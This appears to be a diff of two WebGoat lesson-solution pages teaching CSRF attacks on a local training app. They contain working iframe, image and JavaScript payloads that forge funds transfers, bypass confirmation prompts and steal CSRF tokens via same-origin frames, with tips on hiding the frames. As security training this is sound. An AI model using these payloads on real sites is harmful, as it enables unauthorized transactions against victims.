||||||
|
<p>
|
||||||
|
Next look at the source of the page to see what parameters the confirmation requires.
|
||||||
|
The form in the confirmation prompt looks like the following:
|
||||||
|
<code>
|
||||||
|
|
||||||
|
<pre id="line548"><<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=5&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||||
|
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>>
|
||||||
|
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>>
|
||||||
|
</<span class="end-tag">form</span>></pre></code>
|
||||||
|
|
||||||
|
From this we see the next forged command will need the folllowing URL: <br/>
|
||||||
|
<code>attack?Screen=5&menu=900&transferFunds=CONFIRM</code><br/>
|
||||||
|
This solution shows how to do this attack with both iframes and images. The next step is to
|
||||||
|
add the additional forged confirmation request. However, an additional iframe or image with
|
||||||
|
this URL will not be sufficient. The second request must load after the first. So add
|
||||||
|
Javascript to load the second command after the first. For iframes, make the onload attribute
|
||||||
|
of the first frame set the src of the second iframe:<br/>
|
||||||
|
|
||||||
|
<code>
|
||||||
|
<pre id="line578"><<span class="start-tag">iframe</span><span class="attribute-name">
|
||||||
|
src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
|
||||||
|
</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||||
|
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
|
||||||
|
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';"</span>>
|
||||||
|
</pre><pre id="line591"></<span class="end-tag">iframe</span>>
|
||||||
|
|
||||||
|
<<span class="start-tag">iframe</span><span class="attribute-name">
|
||||||
|
id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||||
|
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>>
|
||||||
|
</<span class="end-tag">iframe</span>>
|
||||||
|
</pre>
|
||||||
|
</code>
|
||||||
|
|
||||||
|
Next add the iframes into a message stored on the web page:<br/>
|
||||||
|
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" /><br>
|
||||||
|
<font size="2"><b>Insert iframes hack picture</b></font><br/>
|
||||||
|
<p>
|
||||||
|
The following shows the result of clicking on the malicious iframe message:
|
||||||
|
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" /><br>
|
||||||
|
<font size="2"><b>Results of iframes hack picture</b></font><br/>
|
||||||
|
In the above image, note that the first frame shows the user prompt, the result of the
|
||||||
|
first forged request to transfer funds. In the second frame the results of the second
|
||||||
|
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
|
||||||
|
transfered. Refreshing the page will indicate that this lesson has been completed.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
In a real attack these results would be hidden from the end user. Click "restart this lesson"
|
||||||
|
to attempt the attack again, only this time try hiding the attack with hidden or very small frames.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
|
||||||
|
<br/>
|
||||||
|
<code>
|
||||||
|
<img
|
||||||
|
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||||
|
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'"
|
||||||
|
width="1" height="1" />
|
||||||
|
<img
|
||||||
|
id="image2"
|
||||||
|
width="1" height="1" />
|
||||||
|
</code>
|
||||||
|
<br/>
|
||||||
|
Next store the malicious images in a message and click the message to attempt the attack.
|
||||||
|
<img src="lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" /><br>
|
||||||
|
<font size="2"><b>Picture of adding malicious image requests</b></font><br/>
|
||||||
|
Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
|
||||||
|
CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
|
||||||
|
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
|
||||||
|
</body>
|
||||||
|
</html>
|
After Width: | Height: | Size: 236 KiB |
After Width: | Height: | Size: 254 KiB |
After Width: | Height: | Size: 230 KiB |
After Width: | Height: | Size: 206 KiB |
After Width: | Height: | Size: 218 KiB |
After Width: | Height: | Size: 204 KiB |
After Width: | Height: | Size: 206 KiB |
121
main/project/WebContent/lesson_solutions/CsrfTokenByPass.html
Normal file
@ -0,0 +1,121 @@
|
|||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||||
|
<title>CSRF Token By-Pass</title>
|
||||||
|
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p>
|
||||||
|
|
||||||
|
<p><b>Concept / Topic To Teach:</b><br/>
|
||||||
|
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
|
||||||
|
loading a page that contains a 'forged request' to execute commands with the
|
||||||
|
victim's credentials. </p>
|
||||||
|
|
||||||
|
<p>Token-based request authentication deters these attacks. This technique
|
||||||
|
inserts tokens into pages that issue requests. These tokens are required to
|
||||||
|
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
|
||||||
|
this technique to help prevent CSRF attacks.</p>
|
||||||
|
|
||||||
|
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
|
||||||
|
Because of the same-origin browser policy, pages from the same domain can read content from
|
||||||
|
other pages from the same domain. </p>
|
||||||
|
|
||||||
|
<p><b>General Goal(s):</b><br/>
|
||||||
|
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
|
||||||
|
request to transfer funds. To successfully complete you need to obtain a valid request token. The
|
||||||
|
URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
|
||||||
|
"transferFunds=main". Load this page, read the token and append the token in a forged request
|
||||||
|
to transferFunds. When you think the attack is successful, refresh the page and you will find the
|
||||||
|
green check on the left hand side menu.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<b>Solution:</b><br/>
|
||||||
|
|
||||||
|
<p>Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
|
||||||
|
a request will not result in a transfer of funds unless it has a correct token. To find
|
||||||
|
a valid token, you could look at the form that the site generates to submit a transfer of funds.
|
||||||
|
To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
|
||||||
|
of "transferFunds=main" <br/>
|
||||||
|
|
||||||
|
<img src="lesson_solutions/CsrfTokenByPass_files/tokenPage.png" alt="Picture of transfer initiation form" /><br>
|
||||||
|
<font size="2"><b>Transfer initiation form</b></font>
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Next look at the source of the page to see what parameter the token comes in.
|
||||||
|
<code>
|
||||||
|
<pre id="line538"><span class="start-tag"><form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">id</span>=<span class="attribute-value">'transferForm' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=2&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||||
|
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'text' </span><span class="attribute-name">value</span>=<span class="attribute-value">'0'</span>>
|
||||||
|
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'CSRFToken' </span><span class="attribute-name">type</span>=<span class="attribute-value">'hidden' </span><span class="attribute-name">value</span>=<span class="attribute-value">'1745740650'</span>>
|
||||||
|
<<span class="start-tag">input</span><span class="attribute-name"> type</span>=<span class="attribute-value">'submit'</span>>
|
||||||
|
</pre><pre id="line555"></<span class="end-tag">form</span>></pre>
|
||||||
|
</code>
|
||||||
|
From this we see a forged command will need the <i>CSRFToken</i> parameter. <br/>
|
||||||
|
|
||||||
|
<p>This solution loads this page in an iframe and reads the token out of the frame.
|
||||||
|
Note that this is possible because the message originates from the same domain and
|
||||||
|
does not violate the "same origin policy". So even thought this page has taken
|
||||||
|
measures to prevent CSRF attacks, those measures can be side-stepped because of
|
||||||
|
CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the
|
||||||
|
frame, then the form, then saves the token </p>
|
||||||
|
|
||||||
|
<code><pre>
|
||||||
|
var tokenvalue;
|
||||||
|
|
||||||
|
function readFrame1()
|
||||||
|
{
|
||||||
|
var frameDoc = document.getElementById("frame1").contentDocument;
|
||||||
|
var form = frameDoc.getElementsByTagName("Form")[0];
|
||||||
|
var token = form.CSRFToken.value;
|
||||||
|
tokenvalue = '&CSRFToken='+token;
|
||||||
|
|
||||||
|
loadFrame2();
|
||||||
|
}
|
||||||
|
|
||||||
|
function loadFrame2()
|
||||||
|
{
|
||||||
|
var testFrame = document.getElementById("frame2");
|
||||||
|
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
|
||||||
|
}
|
||||||
|
</pre></code>
|
||||||
|
|
||||||
|
<p>readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
|
||||||
|
LoadFrame2 will then append the token and load a second frame. </p>
|
||||||
|
|
||||||
|
The following frames loads the transfer page in the first frame. When it finishes loading, it will
|
||||||
|
call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
|
||||||
|
|
||||||
|
<code><pre></pre></code>
|
||||||
|
|
||||||
|
|
||||||
|
<code>
|
||||||
|
<pre id="line585"><<span class="start-tag">iframe</span><span class="attribute-name"> src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
|
||||||
|
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"readFrame1();"
|
||||||
|
</span><span class="attribute-name">id</span>=<span class="attribute-value">"frame1" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||||
|
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||||
|
<<span class="start-tag">iframe</span><span class="attribute-name"> id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||||
|
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||||
|
</pre>
|
||||||
|
</code>
|
||||||
|
|
||||||
|
<p>The next picture shows inserting this code into a message:<br/>
|
||||||
|
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHack.png" alt="Picture of inserting CSRF code in web page" /><br>
|
||||||
|
<font size="2"><b>Inserting CSRF code into message</b></font><br/><br/>
|
||||||
|
|
||||||
|
The following picture shows the results of someone hitting this page. Note that no effort was taken to
|
||||||
|
hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
|
||||||
|
the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
|
||||||
|
<p>The next picture shows inserting this code into a message:<br/>
|
||||||
|
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHacked.png" alt="Picture of the results of viewing the malicious message" /><br>
|
||||||
|
<font size="2"><b>Results of viewing the malicious message</b></font>
|
||||||
|
|
||||||
|
|
||||||
|
</p>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
After Width: | Height: | Size: 237 KiB |
After Width: | Height: | Size: 312 KiB |
After Width: | Height: | Size: 228 KiB |